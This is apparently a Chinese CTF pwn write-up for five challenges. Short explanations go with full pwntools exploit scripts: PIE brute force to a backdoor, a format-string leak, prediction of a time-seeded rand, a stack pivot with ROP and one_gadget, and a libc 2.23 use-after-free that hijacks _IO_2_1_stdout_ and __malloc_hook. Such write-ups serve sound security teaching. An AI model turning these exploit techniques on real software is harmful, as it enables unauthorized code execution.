xhh
main 函数退出时会调用 buf[2] 里面的函数:
调试看到里面存在的值,是众多错误提示中的一个:
程序存在后门,地址为:0x14E1
由于开启了 PIE 保护,只有最后3位不变,需要爆破倒数第 4 位。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context.log_level = 'debug'
payload = "/bin/cat /flag".ljust(0x10,'\x00') payload += "\xe1\xa4" while True: p = process("./xhh") p.send(payload) sleep(0.5) try: flag = p.recv() except: flag = "" if "{" in flag or "}" in flag or "flag" in flag: log.info("flag:"+flag) exit(0) else: p.close() sleep(2)
|
scmt
格式化字符串泄露 token :
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context.log_level = 'debug'
p = remote("node2.hackingfor.fun",37597)
p.recvuntil("name:\n") payload = "skye%8$p" p.send(payload)
p.recvuntil("skye") token = int(p.recv(8),16) log.info("token:"+hex(token))
p.recvuntil("number:\n") payload = str(token) p.sendline(payload)
p.interactive()
|
easystack
以当前时间设置随机种子:srand(time)
,输入与生成随机数相同 getshell ,那个 scanf 溢出没用到
EXP
不会写 python 随机数生成,曲线救国了一下:
用 python 获取当前时间+ 1min 的时间戳
1 2 3
| import time int(time.time())+60
|
用 c 设置随机种子并生成随机数
1 2 3 4 5 6 7 8 9 10 11
| #filename:time_random.c #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { int a; srand(1616233265); a = rand(); printf("%d\n", a); return 0; }
|
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context.log_level = "debug"
payload = p32(648729124)
while True: p = remote("node2.hackingfor.fun",39669) p.sendline(payload) flag = p.recv() if "{" in flag or "}" in flag: print(flag) exit(0) else: p.close() sleep(0.2)
|
easypwn
输入 name 有一个 sprintf 存在格式化字符串漏洞:
修改 main 函数的 rbp 最后一个字节为 \x00
,也可以其他,对齐 0x8 就行。有几率刚好撞上 main 函数中输入的 teamname :
由于 teamname 长度限制需要先栈迁移再泄露 libc & 写入下一步 ROP 。
迁移后泄露地址,有了 libc 地址,构造 getshell 。尝试 system(‘/bin/sh’) 报错,用 onegadget 可以。
人品极差就会卡在奇奇怪怪地方循环,或者直接崩掉
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * context.log_level = "debug"
p = process("./easypwn") elf = ELF("./easypwn") libc = ELF("./libc.so.6")
pop_rdi_ret = 0x0000000000400be3 pop_rsi_r15_ret = 0x0000000000400be1 pop_rbp_ret = 0x00000000004007c8 leave_ret = 0x0000000000400a1f bss = 0x602080
p.recvuntil("teamname: ")
gdb.attach(p,"b *0x400940")
payload = p64(0xdeadbeef) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_r15_ret) + p64(bss+0x350)*2 payload += p64(elf.plt['read']) payload += p64(pop_rbp_ret) + p64(bss+0x350-0x8) payload += p64(leave_ret)
p.send(payload)
p.recvuntil("name\n") p.send("%22$hhn")
p.recvuntil("introduction\n") p.send('b'*0x38)
sleep(0.4)
payload = p64(pop_rdi_ret) + p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_r15_ret) + p64(bss+0x250)*2 payload += p64(elf.plt['read']) payload += p64(pop_rbp_ret) + p64(bss+0x250-0x8) payload += p64(leave_ret) p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.info("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] binsh_str = libc_base + libc.search("/bin/sh").next()
payload = p64(libc_base + 0x4f432)
p.send(payload)
p.interactive()
|
sooooeasy
libc2.23 uaf 没有输出功能。攻击 _IO_2_1_stdout 结构体来实现 libc 地址泄露:通过低字节覆盖 unsorted bin 留下的 main_arena 指针,再加以爆破 4 位,就能分配到 _IO_2_1_stdout ,通过篡改 _IO_2_1_stdout 的 flags 为 0x0FBAD1887 ,_IO_write_base 低字节覆盖,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base 到 _IO_write_ptr 之间的数据,而这之间就有 libc 的指针。
劫持 stdout 泄露 libc 地址方法原理:
https://blog.csdn.net/seaaseesa/article/details/105590591
http://blog.eonew.cn/archives/1190
EXP
一开始又遇到堆数量达到上限,可以调整减少堆数量,官网 wp 通过释放两次同一个堆触发 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn import * context.log_level='debug'
def command(id): p.recvuntil("choice : ") p.sendline(str(id)) def add(size,name,message): command(1) p.recvuntil("name: \n") p.sendline(str(size)) p.recvuntil("name:\n") p.send(name) p.recvuntil("message:\n") p.sendline(message) def delete(id): command(2) p.recvuntil("index:\n") p.sendline(str(id))
def pwn(): add(0x68,'a'*8,'a'*8) add(0x68,'b'*8,'b'*8) add(0xf8,'c'*8,'c'*8) add(0x68,'d'*8,'d'*8)
delete(2)
add(0x28,'\x00','f'*8)
_IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] add(0x68,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)),'g'*8)
delete(0) delete(3) delete(0)
add(0x68,p8(0),'1'*8) add(0x68,p8(0),'2'*8) add(0x68,p8(0),'3'*8) add(0x68,p8(0),'4'*8)
payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88) command(1) p.recvuntil("name: \n") p.sendline(str(0x60)) p.recvuntil("name:\n") p.send(payload)
_IO_2_1_stdin_ = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.info("_IO_2_1_stdin_:"+hex(_IO_2_1_stdin_))
p.recvuntil("message:\n") p.sendline('5'*8)
libc_base = _IO_2_1_stdin_ - libc.symbols['_IO_2_1_stdin_'] log.info("libc_base:"+hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook'] log.info("malloc_hook:"+hex(malloc_hook)) realloc_hook = libc_base + libc.symbols['__realloc_hook'] log.info("realloc_hook:"+hex(realloc_hook)) realloc = libc_base + libc.symbols['realloc'] log.info("realloc:"+hex(realloc)) onegadget = libc_base + 0x4527a log.info("onegadget:"+hex(onegadget)) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' delete(6) delete(7) delete(6) add(0x68,p64(malloc_hook-0x23),'\x00') add(0x68,'z','z') add(0x68,'x','x')
payload = 'a'*0xb+p64(onegadget)+p64(realloc+13) add(0x68,payload,'y') command(1)
p.interactive()
if __name__ == '__main__': p = process("./sooooeasy") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") while True: try: pwn() exit(0) except: p.close() p = process("./sooooeasy")
|
参考文章
利用 IO_2_1_stdout 泄露信息
glibc从堆任意分配到攻击IO流达到泄露信息&realloc特性&unsorted bin expand总结